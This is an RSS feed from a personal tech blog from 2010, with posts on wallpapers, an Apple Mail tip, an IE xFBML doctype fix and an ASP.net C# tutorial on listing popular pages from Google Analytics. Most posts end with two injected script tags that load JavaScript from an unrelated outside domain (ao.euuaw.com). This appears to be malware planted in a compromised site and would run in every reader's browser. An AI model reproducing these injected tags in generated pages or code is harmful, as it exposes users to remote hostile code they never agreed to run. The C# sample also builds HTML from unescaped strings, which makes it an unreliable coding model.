<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>GMTAZ.com</title>
	<atom:link href="http://www.gmtaz.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.gmtaz.com</link>
	<description>Gustavo Tandeciarz&#039;s personal blog</description>
	<lastBuildDate>Thu, 15 Jul 2010 19:31:41 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>I&#8217;m moving to Tumblr [log.gmtaz.com]</title>
		<link>http://www.gmtaz.com/im-moving-to-tumblr-log-gmtaz-com/</link>
		<comments>http://www.gmtaz.com/im-moving-to-tumblr-log-gmtaz-com/#comments</comments>
		<pubDate>Thu, 15 Jul 2010 19:29:30 +0000</pubDate>
		<dc:creator>Gustavo</dc:creator>
				<category><![CDATA[My Life]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://www.gmtaz.com/?p=463</guid>
		<description><![CDATA[Actually, I&#8217;m just going to be primarily using tumblr (not moving to it, per say). www.gmtaz.com will still be up and running on wordpress with a focus on technical documentation, while my personal blog will be at log.gmtaz.com Just a quick FYI. ****EDIT**** Actually, now that I think of it &#8211; I might move www.gmtaz.com [...]]]></description>
			<content:encoded><![CDATA[<p>Actually, I&#8217;m just going to be primarily using tumblr (not moving to it, per say).  www.gmtaz.com will still be up and running on wordpress with a focus on technical documentation, while my personal blog will be at <a href="http://log.gmtaz.com">log.gmtaz.com</a></p>
<p>Just a quick FYI.</p>
<p>****EDIT****<br />
Actually, now that I think of it &#8211; I might move www.gmtaz.com over to tech.gmtaz.com and log.gmtaz.com over to www.gmtaz.com.  I feel as though tech.gmtaz.com is going to go by the way side as I don&#8217;t really have that much time to put into writing out longer posts.  We will see&#8230;<script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.gmtaz.com/im-moving-to-tumblr-log-gmtaz-com/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>iPhone 4 Retina Display Easter Egg</title>
		<link>http://www.gmtaz.com/iphone-4-retina-display-easter-egg/</link>
		<comments>http://www.gmtaz.com/iphone-4-retina-display-easter-egg/#comments</comments>
		<pubDate>Sun, 27 Jun 2010 15:21:51 +0000</pubDate>
		<dc:creator>Gustavo</dc:creator>
				<category><![CDATA[Apple]]></category>
		<category><![CDATA[iphone]]></category>

		<guid isPermaLink="false">http://www.gmtaz.com/?p=460</guid>
		<description><![CDATA[One hidden benefit to the retina display, that I haven&#8217;t seen posted anywhere, is that I can now view the screen using polarized sunglasses at any angle. This was not possible on the 3G or the 3GS. Give it a go, if you have polarized lenses&#8230; I&#8217;ll see if I can figure out a way [...]]]></description>
			<content:encoded><![CDATA[<p>One hidden benefit to the retina display, that I haven&#8217;t seen posted anywhere, is that I can now view the screen using polarized sunglasses at any angle.  This was not possible on the 3G or the 3GS.  Give it a go, if you have polarized lenses&#8230;</p>
<p>I&#8217;ll see if I can figure out a way to post images.<script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.gmtaz.com/iphone-4-retina-display-easter-egg/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Updated Bokeh wallpaper for iPhone4 [wallpapers]</title>
		<link>http://www.gmtaz.com/updated-bokeh-wallpaper-for-iphone4-wallpapers/</link>
		<comments>http://www.gmtaz.com/updated-bokeh-wallpaper-for-iphone4-wallpapers/#comments</comments>
		<pubDate>Thu, 24 Jun 2010 14:05:54 +0000</pubDate>
		<dc:creator>Gustavo</dc:creator>
				<category><![CDATA[Apple]]></category>
		<category><![CDATA[iphone]]></category>
		<category><![CDATA[wallpapers]]></category>

		<guid isPermaLink="false">http://www.gmtaz.com/?p=456</guid>
		<description><![CDATA[Here you go 960&#215;640:]]></description>
			<content:encoded><![CDATA[<p>Here you go 960&#215;640:</p>
<p><a href="http://www.gmtaz.com/wp-content/uploads/2010/06/bokeh1.png"><img src="http://www.gmtaz.com/wp-content/uploads/2010/06/bokeh1-150x150.png" alt="" title="bokeh - iPhone 4" width="150" height="150" class="aligncenter size-thumbnail wp-image-457" /></a><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.gmtaz.com/updated-bokeh-wallpaper-for-iphone4-wallpapers/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Download My Attempt at a Bokeh Wallpaper [PSD]</title>
		<link>http://www.gmtaz.com/download-my-bokeh-wallpaper-psd/</link>
		<comments>http://www.gmtaz.com/download-my-bokeh-wallpaper-psd/#comments</comments>
		<pubDate>Thu, 10 Jun 2010 15:33:40 +0000</pubDate>
		<dc:creator>Gustavo</dc:creator>
				<category><![CDATA[How To]]></category>
		<category><![CDATA[wallpapers]]></category>

		<guid isPermaLink="false">http://www.gmtaz.com/?p=426</guid>
		<description><![CDATA[I was messing around with Photoshop tutorials and came across the very famous abduzeedo.com. I wanted to create a bokeh style wallpaper and he has a fantastic tutorial on how to do it. Linky I ran with it and came up with what you see below. I&#8217;m including the PSD in case you want to [...]]]></description>
			<content:encoded><![CDATA[<p>I was messing around with Photoshop tutorials and came across the very famous abduzeedo.com.  I wanted to create a bokeh style wallpaper and he has a fantastic tutorial on how to do it.  <a href="http://abduzeedo.com/awesome-digital-bokeh-effect-photoshop" target=_blank>Linky</a></p>
<p>I ran with it and came up with what you see below.  I&#8217;m including the <a href="http://www.gmtaz.com/wp-content/uploads/PSD/bokeh.psd">PSD</a> in case you want to change the colors.  All you have to do is change the gradient layer style and you&#8217;re set.</p>
<p>I&#8217;m including a 1920&#215;1200 wallpaper png, an iPhone wallpaper png, and the original <a href="http://www.gmtaz.com/wp-content/uploads/PSD/bokeh.psd">PSD</a> in this post.<br />
Let me know what you think and enjoy!</p>
<div class="center"><a href="http://www.gmtaz.com/wp-content/uploads/2010/06/bokeh.png" class="inlineBlock" target=_blank><img src="http://www.gmtaz.com/wp-content/uploads/2010/06/bokeh-150x150.png" alt="" title="bokeh1920x1200" width="150" height="150" class="aligncenter size-thumbnail wp-image-428" /><br />1920&#215;1200</a><a href="http://www.gmtaz.com/wp-content/uploads/2010/06/bokeh-iphone.png" class="inlineBlock"><img src="http://www.gmtaz.com/wp-content/uploads/2010/06/bokeh-iphone-150x150.png" alt="" title="bokeh-iphone" width="150" height="150" class="aligncenter size-thumbnail wp-image-430" /><br />iPhone 3</a></div>
<p>Here&#8217;s an example of what you can do in 2 seconds with the PSD.  HDR effects and all&#8230;</p>
<div class="center"><a href="http://www.gmtaz.com/wp-content/uploads/2010/06/bokeh-HDR.png" class="inlineBlock" target=_blank><img src="http://www.gmtaz.com/wp-content/uploads/2010/06/bokeh-HDR-150x150.png" alt="" title="bokeh-HDR 1920x1200" width="150" height="150" class="aligncenter size-thumbnail wp-image-451" /><br />1920&#215;1200</a><a href="http://www.gmtaz.com/wp-content/uploads/2010/06/bokeh-HDR1440.png" class="inlineBlock" target=_blank><img src="http://www.gmtaz.com/wp-content/uploads/2010/06/bokeh-HDR1440-150x150.png" alt="" title="bokeh-HDR1440x900" width="150" height="150" class="aligncenter size-thumbnail wp-image-452" /><br />1440&#215;900</a></div>
<p><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.gmtaz.com/download-my-bokeh-wallpaper-psd/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Quick Tip: Undo Email moves in Apple Mail</title>
		<link>http://www.gmtaz.com/quick-tip-undo-email-moves-in-apple-mail/</link>
		<comments>http://www.gmtaz.com/quick-tip-undo-email-moves-in-apple-mail/#comments</comments>
		<pubDate>Wed, 02 Jun 2010 15:46:55 +0000</pubDate>
		<dc:creator>Gustavo</dc:creator>
				<category><![CDATA[Technology]]></category>

		<guid isPermaLink="false">http://www.gmtaz.com/quick-tip-undo-email-moves-in-apple-mail/</guid>
		<description><![CDATA[Did you know you could undo deleting or moving emails within Apple Mail by pressing command+Z ?]]></description>
			<content:encoded><![CDATA[<p>Did you know you could undo deleting or moving emails within Apple Mail by pressing command+Z ?<br />
<script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.gmtaz.com/quick-tip-undo-email-moves-in-apple-mail/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Quick Fix: xFBML not rendering in IE [RESOLVED]!</title>
		<link>http://www.gmtaz.com/quick-fix-xfbml-not-rendering-in-ie-resolved/</link>
		<comments>http://www.gmtaz.com/quick-fix-xfbml-not-rendering-in-ie-resolved/#comments</comments>
		<pubDate>Wed, 02 Jun 2010 15:43:02 +0000</pubDate>
		<dc:creator>Gustavo</dc:creator>
				<category><![CDATA[How To]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://www.gmtaz.com/?p=420</guid>
		<description><![CDATA[I was having a problem where using xFBML and the facebook javascript API would not render elements in IE (but they worked in all other browsers). This was resolved by fixing the DOCTYPE in the header. &#60;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> &#60;html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml"> Now everything renders fine within the site AND [...]]]></description>
			<content:encoded><![CDATA[<p>I was having a problem where using xFBML and the facebook javascript API would not render elements in IE (but they worked in all other browsers).</p>
<p>This was resolved by fixing the DOCTYPE in the header.<br />
<code><br />
&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"<br />
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><br />
&lt;html xmlns="http://www.w3.org/1999/xhtml"<br />
xmlns:fb="http://www.facebook.com/2008/fbml"><br />
</code><br />
Now everything renders fine within the site AND it also renders in an iFrame Facebook App! <script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.gmtaz.com/quick-fix-xfbml-not-rendering-in-ie-resolved/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>jQuery 1.4 Cheat-sheet Wallpaper</title>
		<link>http://www.gmtaz.com/jquery-1-4-cheat-sheet-wallpaper/</link>
		<comments>http://www.gmtaz.com/jquery-1-4-cheat-sheet-wallpaper/#comments</comments>
		<pubDate>Fri, 14 May 2010 20:26:48 +0000</pubDate>
		<dc:creator>Gustavo</dc:creator>
				<category><![CDATA[wallpapers]]></category>

		<guid isPermaLink="false">http://www.gmtaz.com/?p=408</guid>
		<description><![CDATA[Here&#8217;s a high-res version (1920&#215;1200) of my new jQuery cheat sheet wallpaper. This is for jQuery 1.4.2. Resources for this wallpaper were acquired from: Impulse Studios If you are downloading the 1920&#215;1200 version, right-click &#8220;save target as&#8221;. Auto-Size 1920&#215;1200 Buy me a beer!]]></description>
			<content:encoded><![CDATA[<p>Here&#8217;s a high-res version (1920&#215;1200) of my new jQuery cheat sheet wallpaper.<br />
This is for jQuery 1.4.2.<br />
Resources for this wallpaper were acquired from: <a href="http://labs.impulsestudios.ca/jquery-cheat-sheet">Impulse Studios</a><br />
If you are downloading the 1920&#215;1200 version, right-click &#8220;save target as&#8221;.</p>
<div style="margin:0 auto; width:400px;">
<p class="left" style="width:200px; height:200px;text-align:center;"><a href="/wp-content/uploads/2010/05/jQuery_Cheatsheet_1.4.jpg" class="wallpaper"><img src="http://www.gmtaz.com/wp-content/uploads/2010/05/jQuery_Cheatsheet_1.4-150x150.jpg" alt="" title="jQuery_Cheatsheet_1.4" width="150" height="150" class="aligncenter size-thumbnail wp-image-409" /><br />Auto-Size</a>
</p>
<p class="left" style="width:200px; height:200px;text-align:center;">
<a href="/wp-content/uploads/2010/05/jQuery_Cheatsheet_1.4.jpg" target=_blank><img src="http://www.gmtaz.com/wp-content/uploads/2010/05/jQuery_Cheatsheet_1.4-150x150.jpg" alt="" title="jQuery_Cheatsheet_1.4" width="150" height="150" class="aligncenter size-thumbnail wp-image-409" /><br />1920&#215;1200</a></p>
<div style="clear:left;"> </div>
</div>
<form action="https://www.paypal.com/cgi-bin/webscr" method="post" style="display:none;">
<input type="hidden" name="cmd" value="_s-xclick">
<input type="hidden" name="encrypted" value="-----BEGIN PKCS7-----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-----END PKCS7-----">
Buy me a beer!</p>
<input type="image" src="https://www.paypal.com/en_US/i/btn/btn_donate_SM.gif" border="0" name="submit" alt="PayPal - The safer, easier way to pay online!">
<img alt="" border="0" src="https://www.paypal.com/en_US/i/scr/pixel.gif" width="1" height="1" style="border:none;padding:0;margin:0;"><br />
</form>
<p><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.gmtaz.com/jquery-1-4-cheat-sheet-wallpaper/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Show Popular Stories Using Google Analytics and ASP.net C# and Sort the Results [How To]</title>
		<link>http://www.gmtaz.com/show-popular-stories-using-google-analytics-and-asp-net-c-and-sort-the-results-how-to/</link>
		<comments>http://www.gmtaz.com/show-popular-stories-using-google-analytics-and-asp-net-c-and-sort-the-results-how-to/#comments</comments>
		<pubDate>Thu, 29 Apr 2010 19:23:43 +0000</pubDate>
		<dc:creator>Gustavo</dc:creator>
				<category><![CDATA[How To]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://www.gmtaz.com/?p=390</guid>
		<description><![CDATA[Recently, I needed to be able to get a list of popular pages for a site that I manage and display that information. I figured, rather than building a database and code hit tracking and page views from scratch, I would just tap into my Google Analytics data. Requirements: Jacob Reimers Google Analytics Reader for [...]]]></description>
			<content:encoded><![CDATA[<p>Recently, I needed to be able to get a list of popular pages for a site that I manage and display that information.  I figured, rather than building a database and code hit tracking and page views from scratch, I would just tap into my Google Analytics data.</p>
<p>Requirements:</p>
<ul>
<li><a href="http://www.reimers.dk/blogs/jacob_reimers_weblog/archive/2009/05/09/added-google-analytics-reader-for-net.aspx" target="_blank">Jacob Reimers Google Analytics Reader for .net</a></li>
<li>ASP.net LINQ</li>
<li>Database for caching results</li>
</ul>
<p>All of the articles have the path format &#8220;/articles/[ category ]/[ article-title ]/&#8221; and all articles have unique titles.  First stop, create the article class:</p>
<pre>
    class ArticleInfo
    {
        public string title { get; set; }
        public string path { get; set; }
        public string hits { get; set; }
    }
</pre>
<p>This is what I will use to sort by title after sorting by hits.  Granted, this could probably be optimized a bit more but I&#8217;m really tired&#8230;<br />
Basically, this creates a class of titles, paths, and hits which I will be pulling from later to create the HTML.</p>
<p>Here is the rest of the code-behind for the user control which will display the data.  I will go through this piece by piece</p>
<pre>
protected void Page_Load(object sender, EventArgs e)
    {
        try
        {
            clsDBGet db = new clsDBGet();
            DataTable dt = db.GetDTfromProc("[STORED PROCEDURE - GET]", null);//Stored procedure to pull from the DB
            if (dt.Rows.Count > 0)
                ga.Text = dt.Rows[0]["DATA"].ToString();
            else
            {
                try
                {
                    ReportRequestor rr = new ReportRequestor("[gmail account email]", "[password]");
                    AnalyticsAccountInfo ainfo = new AnalyticsAccountInfo();
                    IEnumerable(AnalyticsAccountInfo) accounts = rr.GetAccounts();
                    string analyticsTitle = "V2 Live";//Title of Profile where I want to grab the data
                    AnalyticsAccountInfo account = accounts.First(a => a.Title == analyticsTitle);
                    DateTime from = DateTime.Now.AddDays(-2);//last 24 hours (data is always a day behind)
                    DateTime to = DateTime.Now;
                    IEnumerable(GenericEntry) report = rr.RequestReport(account, new Dimension[] { Dimension.pagePath, Dimension.pageTitle }, new Metric[] { Metric.pageviews }, from, to, 1000);
                    string myString = string.Empty;
                    int x = 0;
                    string[] articleTitles = new string[22]; //To only grab unique titles
                    ArticleInfo[] articleData = new ArticleInfo[22];
                    bool unique = true;
                    report = report.OrderByDescending(myReport => Convert.ToInt32(myReport.Metrics.First().Value));
                    foreach (GenericEntry myReport in report)
                    {

                        Regex isArticle = new Regex("/articles/.+/.+/");
                        string path = myReport.Dimensions.First().Value;
                        string title = myReport.Dimensions.Last().Value;
                        string hits = myReport.Metrics.First().Value;
                        if (x < 22 &#038;&#038; isArticle.IsMatch(path))
                        {
                            if (!path.Contains("/page_") &#038;&#038; !path.Contains("/search/") &#038;&#038; title.Trim() != "(not set)")
                            {
                                //Add to array of article titles then check to see if it exists in the array
                                for (int y = 0; y < articleTitles.Length; y++)
                                {
                                    if (articleTitles[y] != null &#038;&#038; title.Trim().ToLower() == articleTitles[y].ToLower())
                                    {
                                        unique = false;
                                        break;
                                    }
                                    else
                                        unique = true;
                                }
                                if (unique)
                                {
                                    articleData[x] = new ArticleInfo { path = Server.UrlDecode(path).Trim(), title = title.Trim(), hits = hits };
                                    x++;
                                }
                            }
                        }
                    }
                    IEnumerable(ArticleInfo) articles = articleData.OrderBy(article => article.title);
                    foreach (ArticleInfo article in articles)
                    {
                            myString += "&lt;li>&lt;a class=\"gaHits\" href=\"" + article.path + "\" title=\"" + article.title + "\" data=\"" + article.hits + "\">&lt;/a >&lt;/li>";
                    }
                    if (x < 10)
                    {
                        panelGA.Visible = false;
                    }
                    else
                    {
                        clsDBPost dbp = new clsDBPost();
                        string proc = "[STORED PROCEDURE - INSERT]";
                        Hashtable ht = new Hashtable();
                        ht.Add("data", myString);
                        bool inserted = dbp.ExecuteProcedure(proc, ht);
                    }
                    ga.Text = myString;
                }
                catch (Exception EX)
                {
                    //Response.Write(EX.ToString());
                    panelGA.Visible = false;
                }
            }
        }
        catch (Exception ex2)
        {
            //Response.Write(ex2.ToString());
            panelGA.Visible = false;
        }
    }
</pre>
<p>Let's break this up into parts.</p>
<ol>
<li>
<p>
The first thing I want to do is query my database to see if I already have the latest Google Analytics data for today.  If it's there, render the data outright. This allows me to only query Google Analytics once per day, instead of on every page load.  This is important because Google limits the amount of requests you can make per day and because we are requesting data for the previous day, there's no need to pull up to the minute results.
</p>
<pre>
clsDBGet db = new clsDBGet();
DataTable dt = db.GetDTfromProc("[STORED PROCEDURE - GET]", null);
if (dt.Rows.Count > 0)
     ga.Text = dt.Rows[0]["DATA"].ToString();
 </pre>
</li>
<li>
<p>This sis where we tap into Reimer's reader.  Further explanation can be found in the link at the top of this article but for now let's focus on some key points.  I'm pulling data from Google from 2 days ago, through today. I'm also pulling the pagePath, pageTitle and using the metric pageViews.  This will translate into the URL of the post, the title of the post and the hits. The last thing to note is that I'm pulling the top 1000 results because not every page on the site is an article and I want to make sure I get at least 10 articles in the data I'm pulling back.  This number is arbitrary but I think it defaults at 1000 anyway.</p>
<pre>
ReportRequestor rr = new ReportRequestor("[gmail account email]", "[password]");
AnalyticsAccountInfo ainfo = new AnalyticsAccountInfo();
IEnumerable(AnalyticsAccountInfo) accounts = rr.GetAccounts();
string analyticsTitle = "V2 Live";//Title of Profile where I want to grab the data
AnalyticsAccountInfo account = accounts.First(a => a.Title == analyticsTitle);
DateTime from = DateTime.Now.AddDays(-2);//last 24 hours (data is always a day behind)
DateTime to = DateTime.Now;
IEnumerable(GenericEntry) report = rr.RequestReport(account, new Dimension[] { Dimension.pagePath, Dimension.pageTitle }, new Metric[] { Metric.pageviews }, from, to, 1000);
</pre>
</li>
<li>
<p>In this next part I'm setting my variables that I will be using later in the loops to filter the rows.
</p>
<pre>
string myString = string.Empty;
int x = 0;
string[] articleTitles = new string[22]; //To only grab unique titles
ArticleInfo[] articleData = new ArticleInfo[22];
bool unique = true;
report = report.OrderByDescending(myReport => Convert.ToInt32(myReport.Metrics.First().Value));
</pre>
<p>I'm also creating an array of ArticleInfo's called articleData which will hold 22 elements as I only want to display the top 22 articles. Lastly, I'm ordering the report data by hits (pageViews) because the <span style="color:red;">report data comes from Google sorted by URL path</span>.  This is bad because I want to get the top articles, not a list ordered alphabetically by URL.  Without this sort, I would be getting articles in a certain category only (because the URL lists the category before the title) and it would not be a true representation of site activity.</p>
</li>
<li>
<p>Here come the loops:</p>
<pre>
foreach (GenericEntry myReport in report)
   {

       Regex isArticle = new Regex("/articles/.+/.+/");
       string path = myReport.Dimensions.First().Value;
       string title = myReport.Dimensions.Last().Value;
       string hits = myReport.Metrics.First().Value;
       if (x < 22 &#038;&#038; isArticle.IsMatch(path))
       {
           if (!path.Contains("/page_") &#038;&#038; !path.Contains("/search/") &#038;&#038; title.Trim() != "(not set)")
           {
               //Add to array of article titles then check to see if it exists in the array
               for (int y = 0; y < articleTitles.Length; y++)
               {
                   if (articleTitles[y] != null &#038;&#038; title.Trim().ToLower() == articleTitles[y].ToLower())
                   {
                       unique = false;
                       break;
                   }
                   else
                       unique = true;
               }
               if (unique)
               {
                   articleTitles[x] = title.Trim();
                   articleData[x] = new ArticleInfo { path = Server.UrlDecode(path).Trim(), title = title.Trim(), hits = hits };
                   x++;
               }
           }
       }
   }
</pre>
<p>Lots of stuff is going on here.  The first thing I'm doing is creating a filter to filter through the results and only pull back pages that are articles by doing "isArticle.IsMatch(path)".  I also don't want to do this loop more than I need to, hence the "x < 22" part.  The next "IF" statement is arbitrary and required for the site.
</p>
<p>The next FOR LOOP is to make sure I'm only grabbing unique articles.  This is important because sometimes users include capital letters in the URL and this will make Google Analytics display multiple rows for the same page and split up the numbers.  <a target="_blank" href="http://doteduguru.com/id629-google-analytics-filters.html">There's a way to counter this in GA</a> but for today's purposes, I'm assuming that your results might have the same page split across different URLS.  I take the title of the article and check to see if it's in the articleTitles array.  If it isn't already in there, I add it to the array and set the "unique" flag to true and move on.  If it is, I skip that row altogether by setting the "unique" flag to false.  (This method will probably produce some skewed results if you are splitting page views across URLs).
</p>
</li>
<li>
<p>
In this last part, I'm creating another enumerable list of articleInfo's and sorting it by title.  This way the bar graph that I display won't just look like a linearly decreasing graph.  I also create the HTML list item and append it to the full list of items in myString.  This is what will be rendered out on the page and also what will be placed in the database using the stored procedure, "V2_INSERT_GOOGLE_DATA".<br />
If there are less than 10 results, or if for some reason I cannot communicate with either Google or the database, I hide the panel altogether.
</p>
<pre>
 IEnumerable(ArticleInfo) articles = articleData.OrderBy(article => article.title);
 foreach (ArticleInfo article in articles)
 {
           myString += "&lt;li>&lt;a class=\"gaHits\" href=\"" + article.path + "\" title=\"" + article.title + "\" data=\"" + article.hits + "\">&lt;/a >&lt;/li>";
 }
 if (x < 10)
 {
     panelGA.Visible = false;
 }
 else
 {
     clsDBPost dbp = new clsDBPost();
     string proc = "[STORED PROCEDURE - INSERT]";
     Hashtable ht = new Hashtable();
     ht.Add("data", myString);
     bool inserted = dbp.ExecuteProcedure(proc, ht);
 }
 ga.Text = myString;
</pre>
</li>
</ol>
<p>
I hope this helps some of you who are trying to implement this method of pulling data from Google.  I used jQuery to have the list animate as a bar graph with the article titles appearing on hover. This is the final result:
</p>
<p><a href="http://www.gmtaz.com/wp-content/uploads/2010/04/Screen-shot-2010-04-29-at-3.56.11-PM.png"><img src="http://www.gmtaz.com/wp-content/uploads/2010/04/Screen-shot-2010-04-29-at-3.56.11-PM-e1272571085527.png" alt="" title="Screen shot 2010-04-29 at 3.56.11 PM" width="500" height="83" class="aligncenter size-full wp-image-399" /></a><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.gmtaz.com/show-popular-stories-using-google-analytics-and-asp-net-c-and-sort-the-results-how-to/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Protect Images Online using PHP and jQuery [How To]</title>
		<link>http://www.gmtaz.com/how-to-protect-images-online-using-php-and-jquery/</link>
		<comments>http://www.gmtaz.com/how-to-protect-images-online-using-php-and-jquery/#comments</comments>
		<pubDate>Fri, 23 Apr 2010 18:46:53 +0000</pubDate>
		<dc:creator>Gustavo</dc:creator>
				<category><![CDATA[How To]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[jquery]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://www.gmtaz.com/?p=340</guid>
		<description><![CDATA[Ever go to a website and think to yourself, &#8220;Wow, those are some nice photos. I wonder if I can download them and [insert personal use line here]&#8220;? The issue of protecting images online is quite a challenge, and borderline impossible. Using Flash is a good way to do it, but now you&#8217;ve just limited [...]]]></description>
